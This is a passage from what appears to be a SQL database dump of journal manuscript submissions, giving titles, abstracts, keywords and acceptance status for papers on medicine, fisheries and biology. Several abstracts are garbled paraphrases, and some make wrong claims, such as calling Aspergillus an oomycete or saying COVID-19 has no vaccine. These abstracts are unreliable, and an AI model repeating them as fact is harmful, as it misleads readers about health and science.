collaboration.','',5439,NULL,'2023-02-07',NULL,'Submitted',2,NULL,'2023-11-07',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13490,13667,667,0,'iptb-23-13490','The Alternatives in Radiation Oncology and the Road Not Taken',NULL,5,0,'','The problems in radiation oncology are as follows: the creation and application of new methods for treating radiation; the application of therapies based on biology and multimodality; the importance of quality assurance in treatment and data reporting, as well as the role of no radiation \"energy\" technologies, which are frequently utilized by other medical specialties; and the kind of evidence that is sought before a new treatment is widely used, such as an appropriate study design, analysis, and thorough long-term follow-up. Personal choices need to be balanced: the pressure from hospitals, departments, practices, and universities; the need to help society and the less fortunate; the right amount of reward for each person and a bigger goal; and the significance of personal integrity and values, which frequently necessitate difficult and \"life-defining\" decisions. Each individual\'s impact on a career is likely more influenced by character than by the specific details listed on a CV. Choosing the more well-known or less well-known career paths creates a unique tapestry that leads to numerous avenues of success; However, living and acting with integrity is the only path to which there is no viable alternative.','Radiation Oncology, Personalized Medicine, Medical Ethics, Medical Technology',3933,NULL,'2023-02-07',NULL,'Submitted',2,NULL,'2023-11-07',NULL,1,1,'0','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13491,13668,667,0,'iptb-23-13491','Commentary Promoting the Purpose of Academic Department Research the Establishment of a Translational Medicine Center',NULL,5,0,'','However, the function of a multidisciplinary center within the framework of a single academic department has received little attention. The Center for Translational Medicine was established in 2003 by Jefferson Medical College\'s Department of Medicine in order to create a program of excellence in research, link basic research with clinical research programs, improve trainee education, maximize space and resources, and facilitates multidisciplinary research. In this section, we demonstrate the Centre’s success and describe its structure. The Centre’s development has resulted in an increase in total funding, an increase in the number of students and residents conducting translational research, a more efficient use of space, the creation of multidisciplinary research projects, and a significant increase in the number of individual and programmatic grants funded by the federal government. The department and the university have benefited significantly from the Centre’s establishment, despite its challenges.','Academic Departments, Centers of Excellence, Translational Medicine',3933,NULL,'2023-02-07',NULL,'Submitted',2,NULL,'2023-11-07',NULL,1,1,'0','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13492,12926,639,0,'ipfs-23-13492','Fish Stocks in Conservation Areas are Improved to Enable Prodigious Amateur Fishing',NULL,2,0,'','A freshwater protected area is a designated portion of inland water that limits human activity. They were created to combat the decline of the world\'s flora and fauna. Some authors question their practical effectiveness in protecting endangered plant and animal species. We assessed the impact of conservation on fish communities. Selected data from two years of gillnets analyzed differences between low anthropogenic impact areas (LAI) and high anthropogenic impact areas (HAI) in terms of abundance, biomass, standard length and diversity index did. Three groups of fish have been found to prefer protected areas where anthropogenic pressure is low. Pike (Esox Lucius), catfish (Silurus glanis) and rudd (Scardinius erythrophthalmus) were never seen in the HAI area. A larger specimen of Zander (Stizostedion lucioperca) that survived well in the LAI area. Several factors can affect his LAI, including illegal poaching and the use of bait to lure fish. Another possible factor is migration of fish for foraging or breeding as the LAI area is open to the reservoir. Areas of the LAI serve as protected habitats for frequently fished predatory fish species, increasing fish diversity. The example of protected areas and low-impact areas in Lipno should be followed in other waters with high fishing pressure and anthropogenic influence.','angling; recreation pressure; exploitation; CEN gillnets; recreation fishing',1777,NULL,'2023-02-08',NULL,'Submitted',2,NULL,'2023-02-20',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13493,12802,639,0,'ipfs-23-13493','Murine Fish Chemical Compositions are being Enhanced for use in Food Packaging',NULL,19,0,'','The purpose of this study was to describe the properties of cold-water fish (FG) gelatin mixed with poultry gelatin (PG) to prepare olive oil sachets. To find desirable films, different ratios of FG-PG based films were characterized in terms of mechanical properties. As the proportion of PG increased in PG-FG based films, the tensile strength and elastic modulus of the films increased and the elongation at break and heat seal strength of the films decreased. The 50-50 film had favorable properties for use as a pouch. The acid index and peroxide content of the oils stored in the bags after 14 days showed significant differences (p<0.05) between the films. The barrier properties of the film, including water vapor permeability and oxygen permeability of the film, increased from 1.21 to 4.95 × 10?11 g m?1 Pa?1 s?1 and from 48 to 97 cm3 mµ/m2 d kPa. Increasing PG resulted in dark, red, yellow, and opaque films. Fourier transform infrared (FTIR) spectra confirmed a broad peak at approximately 2500 cm -1 . Therefore, a simple change of FG with PG makes it suitable for oil bag packaging applications in the food industry.','WVP; sachet; olive oil; peroxide index',1774,NULL,'2023-02-08',NULL,'Submitted',2,NULL,'2023-02-20',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13494,11991,639,0,'ipfs-23-13494','Consider the Difficulties and Methods that Link the Security of Shellfish to Eating',NULL,25,0,'','Seafood plays an important role in improving food security for the Inuit Nunangut. This scoping review therefore aims to examine issues and issues that have been extensively explored in the literature on barriers and pathways linking seafood to food security. Where research, policy and action gaps exist. How do fisheries contribute to food security today? A systematic search for peer-reviewed articles was conducted using six databases. Eligible studies included a major study investigating the role of seafood in food security conducted in Inuit Nunangut. 31 items were included in the review. Overall, we find that fisheries can affect food security through direct pathways (consumption of fish as food) and indirect pathways, such as increasing household purchasing power through employment. Research shows that strategies related to wildlife and fisheries management need to be integrated with food and health policies to address food insecurity among the Inuit of Nunangut. Future research is needed to better understand the different mechanisms by which seafood harvesting and participation in commercial fishing reduce household food insecurity.','seafood; fisheries; Arctic; Arctic Canada; wildlife management',1772,NULL,'2023-02-08',NULL,'Submitted',2,NULL,'2023-04-17',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13495,10882,639,0,'ipfs-23-13495','Analysis of the Production and Quality of Marinated Fish with Potential Perspectives',NULL,19,0,'','Over time, in addition to whole fish, many different types of fermented fish products have been produced, including: it was done. B. Fermented fish surimi and sauce. Consuming fermented fish products has been shown to improve both physical and mental health, depending on the composition of the product. Fermented fish products can be dried prior to the fermentation process to enhance the flavor. , contains various additives to aid fermentation. At the same time, the fermentation process and its conditions play a large role in determining the quality and safety of the product, as the composition changes biochemically during fermentation. In addition, the need for specific microorganisms and the challenges of avoiding harmful microorganisms will be reviewed in order to further optimize fermentation conditions in the future. While some advanced techniques have been developed to produce better quality products and simpler processes, the versatility of fermented fish processes, ingredients and products is particularly important for consumer health and safety. This review examines the nutritional, microbial, and sensory properties of fermented fish to better understand the health benefits and safety issues presented by fermented fish products. For the purposes of the review, we took an exploratory approach to the published literature using numerous books and online databases such as Google Scholar, Web of Science, Scopus, ScienceDirect and PubMed Central. This review examines key information from all available library databases from 1950 to 2022. This review will help the food industry involved in marketing fermented fish to ferment efficiently and produce a higher quality product by expediting the fermentation process without jeopardizing consumer health and safety.','fish; fermentation; health benefits; processing; preservation; safety',1771,NULL,'2023-02-08',NULL,'Submitted',2,NULL,'2023-02-20',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13496,13669,971,0,'ipaclr-23-13496','Differential CpG DNA Methylation: qMSP a Promising New Approach towards Clinical Utility as Biomarkers',NULL,19,1,'Innovation in Clinical and Laboratory Research','','',3249,NULL,'2023-02-08',NULL,'Submitted',2,NULL,'2023-03-15',NULL,1,1,'1','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13497,13670,971,0,'ipaclr-23-13497','Exploring the Dynamics of Immunology: Understanding the Different Types of Immunity',NULL,3,0,'',' ',' ',5383,NULL,'2023-02-09',NULL,'Submitted',2,NULL,'2023-03-17',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13498,13671,971,0,'ipaclr-23-13498','Genetics and Human Health: Understanding the Influence and Impact of Our Genes',NULL,19,0,'','Genetics is a complex and rapidly evolving field that plays a critical role in our understanding of health and disease. Our genes, which are located on our DNA, contain the instructions for the development and functioning of our bodies, and variations in these genes can have a significant impact on our health and well-being. In this article, we will explore the ways in which genetics contributes to our understanding of health and disease, including the role of genetic mutations, genetic testing, and the development of personalized medicine.','Genetics, Personalized medicine, Health, Disease.',5381,NULL,'2023-02-09',NULL,'Submitted',2,NULL,'2023-03-17',NULL,1,1,'1','Accepted\r\n',0,'','',NULL,0,0,0,NULL,0),(13500,13673,91,0,'ijddr-23-13500','EFFECTS OF MEDICINAL PLANTS IN DIAGNOSTIC IMMUNOLOGY',NULL,5,0,'Herb plants and its important  previous and present studies ','Despite advances in modern medicine, it has been stated that there is up to 70% of the developing in the great countries that still look to complementary and alternative medical systems, also known as traditional medicine. This makes us to think of the herbal plants and their origin. It is very important to understand the origin and the taxonomy of herbal plants to be able to build up associated conclusions and also build up a strong study later on. It is needless to mention that though herbal plants are difficult to keep in track with the complex components and their mechanism of action, it’s important to know that the complex compounds of these herbal plants work in perfect harmony almost like an orchestra. Serological tests can be one step closer to understanding the whole mechanism and its action of the compounds understanding more about therapeutic effect of these herbal plants and even continuing with advancement in modern medicine. Without a doubt, herbal plants have very high importance due to the complex compounds that function in synergy. In this paper more, insight will be on the advantages and importance associated with the herbal plants while knowing more about the serological tests associated with it.','Herb plants, phytopharmaceuticals, drugs, health, immunology ',5378,NULL,'2023-02-15',NULL,'Submitted',2,NULL,'2023-03-23',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(13501,13674,45,0,'iphsj-23-13501','Sex Differentiation, Sport Skill Intervention and Physical Fitness Status of in-School  Adolescents in Two Selected High Schools in Nigeria',NULL,14,0,'','The purpose of the study was to examine the effect of sport skill acquisition in two selected sports on \r\nthe physical fitness status of male and female in-school adolescence in secondary schools. \r\nExperimental research design was adopted for the study. The American Alliance for Physical, Health \r\nEducation, Recreation & Dance (AAPHERD) Youth Fitness Test (1976). A battery test designed to \r\nmeasure both the performance-related and health-related components of physical fitness respectively \r\nwas administered on 160 participants who took part in an eight-week structured exercise intervention \r\nusing the pre-post- test method. The result revealed a significant effect of the sport skill training \r\nintervention on physical fitness status of participants. Thus, it could be concluded that basketball and \r\nbadminton skill training had a significant effect on the physical fitness of adolescent based on their \r\nsex.','sport skill, skill acquisition, training, physical fitness, performance-related components, health-related components, Sex',643,NULL,'2023-02-16',NULL,'Submitted',2,NULL,'2023-03-18',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13502,13674,45,0,'iphsj-23-13502','Reflective Practises In Health Care Profession',NULL,14,0,'','This article explains the roles of reflective practices in health care profession and its significant impact in improving the practitioners\' skills in reviewing how they have managed the situation that have occurred most especially how they have identified various areas in health profession that required further developments. It further explains in detail the meaning of reflective practises in health and social care and underscores its impact on the roles of reflection practise in health care services, the use of the practise theme as a framework for reflection, demonstration of active, ongoing critical reflection of learning experiences and assessment of the overall success of own reflective journey with the consideration of future carrier partway. It finally concludes that reflective practises encourage the health practitioners to holistically examine the health problems of the service users daily, providing skilful approaches through critical reflection to understand the aetiology of the health problem and develop reflection of working practises to overcome the health challenges. It finally recommends that reflective practises should be encouraged among the health care professionals and should be included in the curriculum as an integral part of the nursing education in order to facilitate the optimum healthy living of both the staff and the concerned service users.','',4076,NULL,'2023-02-16',NULL,'Submitted',14,NULL,'2023-05-08',NULL,1,1,'0','ready',0,NULL,NULL,NULL,0,0,0,NULL,0),(13503,13675,86,0,'ipaom-23-13503','Molecular detection of phzD, phzA and phzG Gene among Pseudomonas aeruginosa Isolated from Burn Infections',NULL,14,0,'','Pseudomonas aeruginosa\'s ability to produce phenazine poses a severe healthcare issue with a range of effects on patients and the healthcare system. The study\'s goal was to find out how phenazine affects bacterial burn infections. Because of this, 223 swabs from burn infections were collected and grown on suitable conditions; the initial identification was based on morphological and culture features, biochemical tests, and then identification with the vitek-2 system. Phz D, Phz A, and Phz G genes that code for phenazine synthesis were studied genetically using the PCR technique. All 34 (97%) P. aeruginosa isolates tested positive for the phz D gene, 34 (97%) isolates tested positive for the phz A gene, and 23 (66%) isolates tested positive for the phz G gene.','',3067,NULL,'2023-02-17',NULL,'Submitted',4,NULL,'2023-03-14',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13504,13676,86,0,'ipaom-23-13504','Molecular Detection of Aggregation and Adhesion Genes of Enterobacter cloacae isolated from Gall-Bladder Infections',NULL,14,0,'','The study aimed to detected the predominance of aggregation and adhesion gene of Enterobacter cloacae in bacterial gall-bladder infections. As a results Enterobacter cloacae were identified in 20 isolates from 174 clinical specimens (swab) were collected from patient suffering from gall-bladder infection, after the specimens were cultured on suitable media, (47.12%) of specimens were gave bacterial growth  and (52.88 %) were appear no growth. The identified of bacteria carried out according to cultural characteristics, biochemical test and Vitek-2 system. E cloacae were identified in (24.39%) of bacterial growth. PCR amplification technique were used to investigation the predominance, aggregation genes csgA and csgD and adhesion genes fimA and fimH among E cloacae isolate,  the results appear that (40%) and (10 %) of isolates carried csgA and csgD genes, while (15%) and ( 35%) of bacterial isolates were carrying fimA and fimH genes .  ','',3067,NULL,'2023-02-17',NULL,'Submitted',4,NULL,'2023-03-14',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13505,13677,86,0,'ipaom-23-13505','Evaluation of the Serum Asprosin Levels in Patients  with Double Diabetes',NULL,14,0,'','Background: Double diabetes (DD) is the term used to describe situations in which a patient exhibits characteristic that are a combination of type 1 diabetes mellitus(T1DM) and type 2 Diabetes Mellitus (T2DM) a large epidemiological study found that 25.5% of people with T1D also had the metabolic syndrome. A new protein hormone called asprosin is predominantly released by white adipose tissue. It was initially discovered in 2016. Asprosin is important diagnoses marker for insulin resistant in diabetes patients, additionally is very important denotation about early diagnoses of type 2 diabetes.     ','',3031,NULL,'2023-02-17',NULL,'Submitted',4,NULL,'2023-03-14',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(13506,13219,91,0,'ijddr-23-13506','Nutraceuticals as a powerful tool for Respiratory Diseases – an Overview',NULL,15,0,'','The primary purpose of the lungs, a key component of the respiratory system, is to draw oxygen from the surrounding environment and make it available for aerobic respiration at the cellular level. The leading cause in today\'s world is reportedly respiratory, both acute and chronic. Respiratory conditions include bronchial asthma, chronic obstructive pulmonary diseases (COPD), pulmonary fibrosis, pneumonia, and lung cancer. In India, knowledge of herbal remedies was passed down through the generations. Currently nutraceuticals are getting substantial attention due to nutrition and therapeutic potentials. They have benefits over the medicine because they avoid side effects. On the basis of their source, they are categorized into different terms such as nutrients, dietary supplement’ dietary fiber etc. Herbal nutraceutical is a powerful tool in maintaining health and acts against nutritional induced disease, thus promoting optimal health and quality of life. Studies have shown the promising results of nutraceuticals to treat several respiratory diseases. In the present review various ingredients which act as nutraceuticals (carbohydrates,lipids,edible flowers and medicinal plants) and  application of nutraceuticals in respiratory disease has been discussed.','Respiratory disease, Nutraceutical, Medicinal plant, Mineral and animal source, etc.',4839,NULL,'2023-02-21',NULL,'Submitted',2,NULL,'2023-03-17',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13508,13430,251,0,'ipacm-23-13508','Human Prion Diseases','',5,0,'','The term “prions” refers to abnormal, pathogenic agents that are transmissible and are able to induce abnormal folding of specific normal cellular proteins called prion proteins that are found most abundantly in the brain. The functions of these normal prion proteins are still not completely understood. The discovery of proteinaceous infectious agents by Prusiner in 1982 was sensational. All previously known pathogens contained nucleic acids, the code of life, that enabled them to reproduce. In contrast, the proteinaceous agents of disease, called prion proteins (PrP), lacked nucleic acids and propagated by binding to the functional, endogenous form of cellular prion protein (referred to as PrPC) and altering its conformation to produce the infectious disease-causing misfolded protein (referred to as PrPSc). The accumulation and aggregation of these infectious prion proteins within the brain causes destruction of neural tissue and leads to fatal spongiform encephalopathies. In this review, we present the molecular pathology of prion-based diseases. These insights are of particular importance since the principles of prion pathogenesis apply to other neurodegenerative disease such as Alzheimer\'s disease, Huntington’s disease, Parkinson\'s disease and amyotrophic lateral sclerosis. Collectively, the global prevalence of these diseases is rapidly increasing while effective therapies against them are still lacking. Thus, the need to understand their etiology and pathogenesis is urgent, and it holds profound implications for societal health.','Pathogenic agents, Neurodegeneration, Pathology, Plaque, CJD, Scrapie,',783,'','2023-02-21',NULL,'Submitted',2,0,'2023-03-17','',1,1,'0','',0,'','',0,0,0,0,NULL,0),(13509,13679,91,0,'ijddr-23-13509','Anticancerous Effect of Fruit pulp of Aegle marmelos Against Benzo[A]pyrene Induced Lung Tumours in Rats',NULL,14,0,'','In the recent times, the lung cancer disease burden in the population have increased manyfolds globally. Among those carcinogen- Benzo[A]pyrene is one of the known which is directly responsible for the cause. Benzo(a)pyrene has been shown to inflict damage on the lungs as well as liver. Thus, the present study has been aimed to study the anticancer activity of Aegle marmelos fruit pulp extract on Benzo[A]pyrene induced lung cancer in rats. Thirty male Charles Foster rats, 6 weeks old weighing around (150-180 g) were used for the study and were induced Benzo[A]pyrene (25 mg/Kg dissolved in Olive oil) orally in two intervals (1st day and 14th day) and were left for 3 months. After 3 months, there were development of lung tumours, which were confirmed histopathologically. Thereafter, Aegle marmelos fruit pulp extract at the dose of 250mg/Kg body weight was administered to the rats for 5 weeks. After the treatment there was significant reduction in the lung tumour size was observed in the studied rats. All the parameters were studied and their data were analysed. The haematological parameters, the biochemical parameters and the histopathological parameters were also correlated for the efficacy of the drug.\r\nThrough the entire study, it can be concluded that, fruit pulp extract of Aegle marmelos possesses anticancerous effect against Benzo[A]pyrene induced lung cancer. This drug after various trials can be recommended as therapeutic drug for lung cancer disease in the future.','Benzo[A]pyrene induced lung model; Tumour volume, biochemical parameters study, histopathological study, fruit pulp extract of Aegle marmelos; novel drug discovery.',5033,NULL,'2023-02-22',NULL,'Submitted',2,NULL,'2023-03-17',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(13510,13680,975,0,'ipjbs-23-13510','The effectiveness and safety of self - manufactured and amlodipine in Indian patients with knee osteoarthritis: A prospective randomised open label study',NULL,19,0,'','OBJECTIVES \r\nTo compare diacerein and diclofenac\'s efficacy and long-term effects in Indians with knee osteoarthritis (OA). \r\nDESIGN OF THE STUDY \r\nAfter a washout period of one week from NSAIDs, patients were given diacerein, diclofenac, or a combination for 12 weeks with a 4 week follow-up to see how the drugs affected them over time. The change in the 100mm visual analog scale (VAS) score from baseline after a 20-meter walk was the primary efficacy end point. The percentage change in pain, stiffness, function, and total WOMAC scores from baseline served as the secondary efficacy end point. Consumption of acetaminophen, the Knee Society Score (KSS), and the Lequesne Impairment Index (LII). \r\nResults: \r\nOf the 189 patients who were screened, 77 completed the study and 81 had painful knee OA. As measured by the 100mm VAS score (p0.05), WOMAC scores (p0.001), and LII, KSS, and acetaminophen consumption (p0.001) at 16 weeks, diacerein outperformed both diclofenac and the combination therapy, demonstrating the drug\'s carryover effect. All WOMAC scores in each group differed significantly from the baseline score in an intra-group comparison. The most common side effect of diacerein was diarrhea, but it was safe and well tolerated. \r\nConclusions\r\n Diacerein is effective, safe, and long-lasting.\r\n',' Diacerein,Knee ',5410,NULL,'2023-02-23',NULL,'Submitted',2,NULL,'2023-02-27',NULL,1,1,'1','ACCEPT',0,'','',NULL,0,0,0,NULL,0),(13511,13681,975,0,'ipjbs-23-13511','The Connection among Smoking Cigarettes and Fresh Heart Disease Dangers',NULL,2,0,'','The point of the current review was to evaluate the relationship among cigarette smoking and the adjustment of plasma grouping of cardiovascular markers. Methods: The study included 20 healthy, age-matched male smokers and 20 cigarette smokers. Estimates were made of homocysteine, C-reactive protein, fasting cholesterol, triglycerides, high-density lipoprotein (HDL), low-density lipoprotein (LDL), and very low-density lipoprotein (VLDL) levels in the blood. Results Cigarette smokers had significantly higher serum total homocysteine and C-reactive protein levels than non-smokers (p 0.001). The total cholesterol / HDL ratio, triglycerides, LDL, VLDL, and fasting serum levels were found to be significantly higher in smokers than in nonsmokers (p 0.001). However, the concentration of fasting HDL was significantly lower in smokers than in nonsmokers (p 0.001). In conclusion, our research shows that smoking cigarettes is strongly associated with elevated levels of all three novel risk factors for cardiovascular disease. Translation and End: ','hyperhomo cysteinemia ',5410,NULL,'2023-02-23',NULL,'Submitted',2,NULL,'2023-02-27',NULL,1,1,'1','ACCEPT',0,'','',NULL,0,0,0,NULL,0),(13512,13682,975,0,'ipjbs-23-13512','A Short Note on Biomedicine and Public Health',NULL,6,0,'','Biomedicine is a branch of medicine that applies biological and physiological principles to clinical practice. It is also known as mainstream medicine, Western medicine, or conventional medicine. The emphasis in biomedicine is on standard, biologically validated, evidence-based treatment that is administered by formally trained physicians, nurses, and other licensed practitioners.\r\nIn the Western world, the idea that medical or quasi-medical concepts can intervene in the process of aging to slow, stop, or even reverse it has become a popular and scientific buzzword. An interdisciplinary approach that draws on ethics, cultural anthropology, sociology, and history to provide a new understanding of biomedicine as a social and cultural practice as it engages with Western society\'s quest for longevity is the focus of this special issue, which focuses specifically on biomedicine and its relationship to anti-aging cultures. Several major themes emerge from the historical and sociocultural context in which anti-aging movements have constructed aging bodies and the aging process: the contested nature of anti-aging as a legitimate field of gerontology, the competing definitions of old age within biomedicine, the medicalization of old age, and the ethics of the anti-aging market. The following are some suggested areas for future research on the subject of anti-aging medicine and its place in Western society: the necessity of contrasting the science and biomedicine of antiaging with those in this \"targeted\" age, paying closer attention to the various stages of old age and the gender dynamics involved, taking into account the social and economic differences among the elderly, and analysing the role that the media plays in forming and shaping anti-aging and biomedicine discourses. The papers in this special issue show how anti-aging in biomedicine has many different aspects and how it is changing what it means to be old.\r\n','Biomedicine',5410,NULL,'2023-02-23',NULL,'Submitted',2,NULL,'2023-02-27',NULL,1,1,'1','ACCEPT',0,'','',NULL,0,0,0,NULL,0),(13513,12577,85,0,'iphspr-23-13513','Assessment of the Legal Framework and Participant Perceptions on Organ Donation in Tshwane, South Africa',NULL,14,2,'','Background: To review the legal framework governing organ donation and to get insight into the knowledge, attitudes and perceptions of participants on organ donation at Eersterust Community Health Centre (ECHC).\r\n\r\nMethods: A desktop literature review with the aid of a legal expert and a cross-sectional, descriptive study were conducted. The study population comprised of adult patients who consulted at ECHC. Data collected using a validated structured interview schedule. Socio-demographic factors associated with a positive or negative attitude towards organ donation were evaluated. Data were analysed by means of logistic regression in Stata version 14.\r\n\r\nResults: A total of 123 people were interviewed. A large proportion (50/123 – 40.7%) had never heard of organ donation. Of 73 (59.3%) participants were aware of organ donation, 70 (95.89%) said organ donation should be encouraged, 39 (53.42%) said an ‘opt-out’ (presumed consent) law would encourage people to donate organs, and 46 (63.02%) had a positive attitude towards the\r\nintroduction of an ‘opt-out’ law. There was a significant association between both the level of\r\neducation and occupation, and having a positive attitude towards the introduction of an ‘opt-out’\r\nlaw. The South African (SA) health system currently follows the ‘opt-in’ organ procurement method, which differs from countries with higher organ donation rates.\r\n\r\nConclusion: The opt-in organ procurement system in SA sets the donation status as ‘refusal to donate’. Participants demonstrated a positive attitude towards organ donation and the introduction of an ‘opt-out’ law on organ donation.\r\n\r\nRecommendations: There is a need for increasing awareness about organ donation. A larger study should be conducted to get a more holistic perspective on a larger range of participants.','Organ donation, opt-out law, South Africa',3282,NULL,'2023-02-23',NULL,'Submitted',12,NULL,'2023-06-26',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13514,13683,975,0,'ipjbs-23-13514','Natural history of COVID-19 and Coronavirus Disease',NULL,6,0,'','The severe acute respiratory syndrome coronavirus-2 (SARS-CoV-2) that caused the COVID-19 pandemic and emerged in late 2019 still lacks a vaccine, despite intensive research. One of the most pressing issues affecting global public health is this transmissible disease. Infection prevention and control measures involving supportive care, such as supplemental oxygen and mechanical ventilation, have been the sole focus of COVID-19 clinical management. In the meantime, research is going on to find a treatment that works to stop the virus from spreading, reduce symptoms, extend life expectancy, and lower mortality rates. Based on the body of clinical knowledge gathered from infected patients regarding the natural history and evolution of the infection, a number of drug classes, many of which are already used to treat other diseases, are being evaluated.\r\nThere is another general wellbeing emergencies undermining the world with the development and spread of 2019 novel Covid (2019-nCoV) or the serious intense respiratory disorder Covid 2 (SARS-CoV-2). In December 2019, the virus was spread to humans in Wuhan, Hubei Province, China, by unknown intermediary animals. Bats were the source of the virus. To date, approximately 3300 deaths and 96,000 cases of coronavirus disease 2019 (COVID-2019) have been reported. The disease is spread through inhalation or contact with infected droplets and has an incubation period of 2 to 14 days. Common symptoms include fever, cough, sore throat, difficulty breathing, fatigue, and general malaise. Most people have a mild case of the disease; It may progress to pneumonia, ARDS, and multiorgan dysfunction in some people. A lot of people have no symptoms. The estimated rate of case fatalities is between 2% and 3%. Special molecular tests show the virus in respiratory secretions to make a diagnosis. Normal or low white cell counts and elevated C-reactive protein (CRP) are common laboratory findings. Even in patients with mild disease or no symptoms, the computerized tomographic chest scan typically shows abnormalities. The majority of the treatment is supportive; The function of antiviral agents is still unknown. In hospitals, strict infection control measures, including droplet and contact precautions, and the isolation of suspected cases and mildly ill patients at home are both part of the prevention strategy. The virus kills fewer people than its two ancestors, Middle East respiratory syndrome coronavirus (MERS-CoV) and SARS-CoV. This new epidemic\'s global impact is still uncertain.\r\n','vaccine, SARS-CoV-2, COVID-19, Pneumonia, Respiratory syndrome coronavirus-2, Transmissible disease, Oxygen, Mechanical ventilation',5410,NULL,'2023-02-23',NULL,'Submitted',2,NULL,'2023-02-27',NULL,1,1,'1','ACCEPT',0,'','',NULL,0,0,0,NULL,0),(13515,13684,86,0,'ipaom-23-13515','A thorough review informed by transcriptomics of the neuroimaging genetics of oxytocin',NULL,12,0,'',' ','Transcriptomics, Neuroimaging, Genetics, Oxytocin',3067,NULL,'2023-02-24',NULL,'Submitted',2,NULL,'2023-02-27',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13516,13685,86,0,'ipaom-23-13516','An analysis of the information on the websites for haematology and medical oncology fellowships',NULL,11,0,'',' ','Haematology, Oncology, Fellowship programs',3081,NULL,'2023-02-24',NULL,'Submitted',2,NULL,'2023-02-27',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13517,13686,86,0,'ipaom-23-13517','An individual patient calibrated in silico model of atherosclerosis enables precision treatment for cardiovascular disease.',NULL,19,0,'','An unmet need exists for advice on how to tailor treatment for individual patients with atherosclerosis to prevent myocardial infarction and ischemic stroke. Computational modeling might make it possible for this kind of development. Given the multifactorial science of atherosclerosis, demonstrating should be founded on complete natural organizations that catch protein communications assessed to drive illness movement. Here, we intended to foster a clinically important scale model of atherosclerosis, align it with individual patient information, and use it to recreate improved pharmacotherapy for individual patients.','Atherosclerosis, Cardiovascular Disease, Proteomics',409,NULL,'2023-02-24',NULL,'Submitted',2,NULL,'2023-02-27',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13518,13687,86,0,'ipaom-23-13518','Costs associated with health risk management mandated by occupational health and safety regulations: A South African viewpoint',NULL,19,0,'','Bosses are expected by the South African Word related Wellbeing and Security Act to carry out different wellbeing risk the executives drives as word related wellbeing programs. These drives convey consistence costs for organizations that carry out them, which are much of the time obscure to partners both inner and outer. Accordingly, the objective of this study was to decide the expenses related with giving and carrying out these projects, which, when done completely and effectively, can possibly stay away from word related infection far reaching quality and conform to legitimate prerequisites. The READ strategy was utilized to separate related cost things from report investigation of the Word related Wellbeing and Security Act and its wellbeing related guidelines.','Occupational health programme, Health risk, Compliance cost, Risk reduction investment',3799,NULL,'2023-02-24',NULL,'Submitted',2,NULL,'2023-02-27',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13519,13688,86,0,'ipaom-23-13519','Avicenna-inspired and conventional medicine-based dietary treatments for renal atrophy',NULL,3,0,'',' ','Renal atrophy, Kidney diseases,  Pathophysiology',4917,NULL,'2023-02-24',NULL,'Submitted',2,NULL,'2023-02-27',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13521,13690,639,0,'ipfs-23-13521','PATHOLOGICAL AND PATHOBIOLOGY OF EPIZOOTIC            ULCERATIVE SYNDROME (EUS) CAUSING ASPERGILLUS FUMIGATUS AND ITS IMMUNOLOGICAL RESPONSE IN FRESHWATER FISH OF CHANNA STRIATUS',NULL,13,0,'PATHOLOGICAL AND PATHOBIOLOGY OF EPIZOOTIC            ULCERATIVE SYNDROME (EUS) CAUSING ASPERGILLUS FUMIGATUS AND ITS IMMUNOLOGICAL RESPONSE IN FRESHWATER FISH OF CHANNA STRIATUS','ABSTRACT\\r\\nAspergillus fumigates is an oomycyte fungi most frequently recognized  as a causative agents of epizootic ulcerative syndrome (EUS) it is a seasonal and epidemic pathogens of great important in cultured fishes in both freshwater and estuarine environments. EUS is a complex infectious etiology which leads to necrosis ulcerative lesions and granulomatous response in freshwater fishes of Channa striatus. This is the cause of death of approximately 92 species that has been recorded in wild as well as in commercial culture systems worldwide. Different environmental and biological factors are responsible for the growth and establishment of A. fumigatus, which is further, attracts secondary pathogens to enter the lesions thus, increasing the severity of the fungal infection. The proper methods for identification of A. fumigatus, includes PCR detection and light microscopy. In order to discover new effective treatment to control the disease, a better understanding of the infection process is necessary. The studies on fungal infection in freshwater fish of Channa striatus indicate the immune response pattern in fish against the A. fumigatus that serves as an important key for the development of targeted therapeutics and vaccines to prevent the disease and to maintain EUS free aquaculture systems. The immune mechanisms that respond to stimulation, interaction between the immune system of host species and A. fumigatus, different factors of A. fumigatus  and its pathological conditions as well as various approaches of  treatment has been discussed.\\r\\n\\r\\n','Keywords: Aspergillus fumigatus, EUS, PCR, Granulomatous',1776,NULL,'2023-02-24',NULL,'Submitted',2,NULL,'2023-03-17',NULL,1,1,'1','Accept',0,'','',NULL,0,0,1,NULL,0),(13525,13693,73,0,'ipjnn-23-13525','Addictions and psychiatric disorders in patients followed at the Doctor Joseph Guislain Neuropsychiatric Centre in Lubumbashi, series of 112 cases and review of the literature',NULL,14,0,'','','',327,NULL,'2023-02-28',NULL,'Submitted',2,NULL,'2023-03-21',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13526,13695,667,0,'iptb-23-13526','Using tissue culture and Biotechnology in manufacturing  Coronary Stents to reduce late complications',NULL,15,0,'','The use of tissue culture and 